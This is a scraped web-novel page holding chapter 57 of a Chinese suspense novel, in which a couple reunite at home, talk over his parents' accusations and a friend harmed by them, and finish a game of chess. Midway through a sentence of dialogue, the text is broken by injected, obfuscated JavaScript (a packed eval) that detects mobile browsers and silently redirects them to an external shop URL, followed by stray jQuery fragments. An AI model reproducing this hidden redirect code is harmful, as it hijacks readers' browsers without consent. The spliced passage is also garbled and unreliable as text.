文趣网 > 都市小说 > 今日难越[悬疑] > 57. 第 57 章
    易峥站在熟悉的家门前,输入密码。

    “滴”的一声后,房门打开,洒满阳光的客厅映入眼帘,易峥走进去,目光在房间的每个角落之间流连。

    一切好像都没有变,电视墙上的挂画有些难以觉察的歪,是他们打钉上去的时候不小心往下偏了半厘米,插在角落里的鱼缸里的氧气泵还在时刻不停地运作,轻声的轰鸣片刻不停,只站在门口就能望见窗外的银杏,在微风中沙沙作响。

    易峥往里走了几步,信手把点好的外卖放在了左手旁的置物柜上,直到回家,他才觉得自己真的从那个鬼地方逃脱了出来。他回过头看向还站在门外的蒋今越,女人的眼神迷茫,像是分不清眼前到底是梦还是现实。

    “蒋今越,别怕。”易峥感受到她精神的不安定,走回去牵住蒋今越的手,“我真的回来了。”

    他把人拉进了屋里紧紧抱住,这才发觉怀里的人正难以觉察地轻轻颤抖着,在他怀里好一会才平静。

    他们依偎了一会,蒋今越忽然想起了什么,把人推开:“先吃饭吧,再不吃的话就凉了。”

    两个人都受了不少罪,眼下都没精力做饭,在路上找了家店打包了些容易消化的汤面。蒋今越先去洗澡,让易峥慢慢吃饭,他生怕饿久了的肠胃不适应,反倒弄出了胃炎,没过一会,见蒋今越出来,也放下了筷子去洗澡。

    洗完澡出来的时候,易峥有了些力气,才认真观察四周,这才发现家里的变化其实很大。洗手间里自己放着的浴袍没了,他只能随便找了个浴巾围了下走出来,以往放在客厅茶几下的几本医学书被人收走,变成了一叠刚打印好的论文,卧室里习惯挂在墙角的黑色真丝睡衣也消失不见,换做了一条连衣裙,就连书房里鱼缸也变空了。

    属于自己的东西都消失了啊。

    看着这些,易峥大概能想象这些日子蒋今越是如何消弭他存在过的痕迹。

    非要说的话,就只有一件属于他的东西还留着。易峥看着挂在书房墙上的蜡笔画。

    易峥凑过去,摸了一下那个蜷缩在角落里的小孩画像,以及被红色蜡笔掩盖下的两道痕迹,看上去像是有人用笔不小心打了个歪斜的钩。只有他知道,那是两个字母——“LL”。从小学到现在,不管去哪他都带着这幅画。蒋今越几乎把他的所有东西都丢了,只有这东西还在。

    等易峥走到客厅的时候,蒋今越正盯着阳台上的绿植浇水、收拾枯黄的落叶。他们俩人离开家这阵子,没人去伺候这些植物,现在全都死了大半。

    “我来吧,你去洗澡。”易峥伸手,从半空中抢走她手里的水壶。

    蒋今越回过头,才发现易峥赤着上身,头发半湿未干,有热气被他从浴室里带出,搁着那么远的距离也能灼烧人,她瞬间想明白是怎么回事:“你还有一套新的睡衣,我收进了书房门口的箱子里,我现在就去拿。”

    “没事不用急,我不冷。”易峥慢悠悠的,没什么脾气。

    蒋今越瞥了眼不远处的鱼缸,面上露出了点歉意:“我养不了那么多鱼,就把它们都卖出去,到现在一个都没剩下。”

    易峥喜欢养鱼,家里不同地方大大小小摆了四五个鱼缸,如今全是空的。

    “再买新的就好了。”易峥说着,过了会才又慢吞吞地开口,“你既然都把我的东西丢了,干嘛不也把我给抛在脑后,何必还让你受这么一遭罪。”

    在公安局里,那个姓聂的警察告诉了他不少东西,关于蒋今越这阵子在看守所里,关于她在此之前追查甄远的事情,不少事情听起来像是虚构的故事,如果主角不是蒋今越的话。

    “为什么?”蒋今越自己也说不出为什么,她的心里好像被分成了两半,一半告诉她要当断则断,另一半却感知到异常,让她不由自主地追着这件事跑,最后她笑了下,“可能因为这年头二婚不好找对象吧。”

    易峥没了脾气,没忍住捏了下她的鼻子。蒋今越也笑。

    两人没再说话,但她总觉得易峥好像有点欲言又止。两人配合,没过一会就把鱼的问题解决了。蒋今越正打算离开,身后的易峥又开口了:“我得跟你说声抱歉。”

    蒋今越停下脚步。

    “关于之前我爸妈指控你是凶手这件事。”易峥情绪很复杂,像很多的已婚男性一样,他生命中最大的难题就是自己的亲生父母和最爱自己的妻子之间的矛盾,尤其是在这个矛盾是因为自己产生的情况下。

    在到警局之后,他第一时间给易强打过一个电话,顺便让他找个机会把这件事告诉张兰英,免得在过度刺激下她高血压再犯了。对方当然欣喜过望,但他还是从言辞之外感觉到他们有什么在瞒着自己,直到知道蒋今越因为他们被关押后,易峥才明白他们在担忧什么。

    易峥当然知道这是易强和张兰英的错,可他没办法去指责年迈的父母情绪激动,他们文化程度不高,在过去那个不够文明的时代举步维艰,习惯了极端手段为自己争取权益,在丧子之痛的刺激下,他们难免更加过激。

    易峥垂着眸,眼睛扫过蒋今越手腕上被镣铐禁锢出的瘀伤,刚才准备好的话突然又都说不出来了。他倒是可以理解自己的父母,可不能用同样的理由逼迫蒋今越也一样原谅。

    “抱歉,替他们道歉好像也不太对。”易峥摇摇头,看着蒋今越平静的双眼,“我会想办法让他们向你道歉的。”

    “好,那到时候再说吧。”蒋今越沉默了一会,嗓音有些低沉,“对我来说,除了你之外所有的事都不重要。只不过,因为这件事受伤的还有其他人。”

    易峥一怔,脑子转了会,没想起她周围还会有其他人被牵扯进来:“……是因为这阵子你的工作被耽误了吗?是了,过阵子是要跟殷老师赔礼道歉。”

    然而蒋今越摇了摇头:“你还记得丁亚楠吗。”

    这是谁?易峥皱着眉回想。

    “就是高二那年,有一次,我们在公交车上

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757909|206490||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    遇到了一个被流氓威胁的同校同学,我们一起把那个流氓送到了派出所。”

    蒋今越这么一说,易峥倒是想起来了,在那之后他们也在学校里打过几次照面,甚至还早早看出他对蒋今越有意思,只不过时间太久,这个名字着实有些陌生:“哦,我记得,就是那个挺漂亮的短发女孩,她现在也在兴州吗?”

    易峥并不知道她失踪的事情,蒋今越没回答他的问题,继续说:“我跟她的姐姐丁胜男是朋友,她正巧在兴州市公安上班,这阵子我麻烦了她不少事情,没想到你爸妈偷拍了几张我们一起吃饭的照片,反而把她拖累了。”

    易峥回来之后,暂且先拿出了家里的旧手机用,他偷偷搜了之前媒体关于这件事的报道,有几篇也提及有一个女警察被舆论指责和蒋今越勾结掩盖犯罪事实,只不过眼神一扫而过,他没把这件事放在心上,更没想到对方是蒋今越的朋友。

    “对不……”

    “今天我听的道歉已经够多了。”蒋今越摇头,打断了易峥的道歉,“等过几天,我们去找她的时候再说吧。”

    随着时间的推移,因重逢而激发的肾上腺素逐渐消退,疲惫再次涌上心头。虽说是久别重逢,但或许是身体太过疲惫,蒋今越却没有别的念头,只想和恋人安静地多待一会,易峥也是如此。两个人在床头上窝起来看了会剧,没一会就睡着了。

    蒋今越原以为这一觉会不怎么踏实,但没想到自己睡得很熟,一夜无梦,等到她再次睁开惺忪的睡眼,身旁已经空了。

    她躺在床上看天花板,有那么一瞬间,她甚至觉得易峥的归来就像是一场梦境,但随即就听到了房间外拖鞋来回趿拉的声音,她猛地跑下床,连拖鞋都没踩上就拉开了卧室的门。

    在门外,已经换上新衬衫的男人买来了早餐,豆腐脑光洁细腻,旁边放着热腾腾的油条和包子,散发出诱人的香味。

    蒋今越松了口气,跑回去穿上自己的拖鞋才走出卧室。

    两个人和以往一样,一边吃饭一边下棋,这么一盘停滞了太久的棋终于下到了结局。伴随着易峥朝着棋盘中央移出了自己的“车”,蒋今越被卡在中间动弹不得的“将”再也无处可逃。

    她盯着棋盘看了一会,最后还是摇了摇头:“我输了。”

    易峥笑了笑:“险胜。”

    “没关系,你回来之后,我们能下棋的时间还有很多,之后我总会有赢的机会。”

    “是啊,我们现在的空余时间还有很多。”两个人对视了一眼,知道对方现在想到了什么。

    因为这么一桩意外,他的工作也没了,蒋今越正好遇上暑假,也不急着回到课题组。向来忙碌的他们现在突然有了这么一长段的闲暇时间,也不知道是幸运还是不幸。

    但这都不重要了。

    窗外天气晴朗,让人忍不住投去目光,靛蓝色的天空上一点云都没有,灿烂得让人产生一种错觉,就好像以后再也不会下雨了。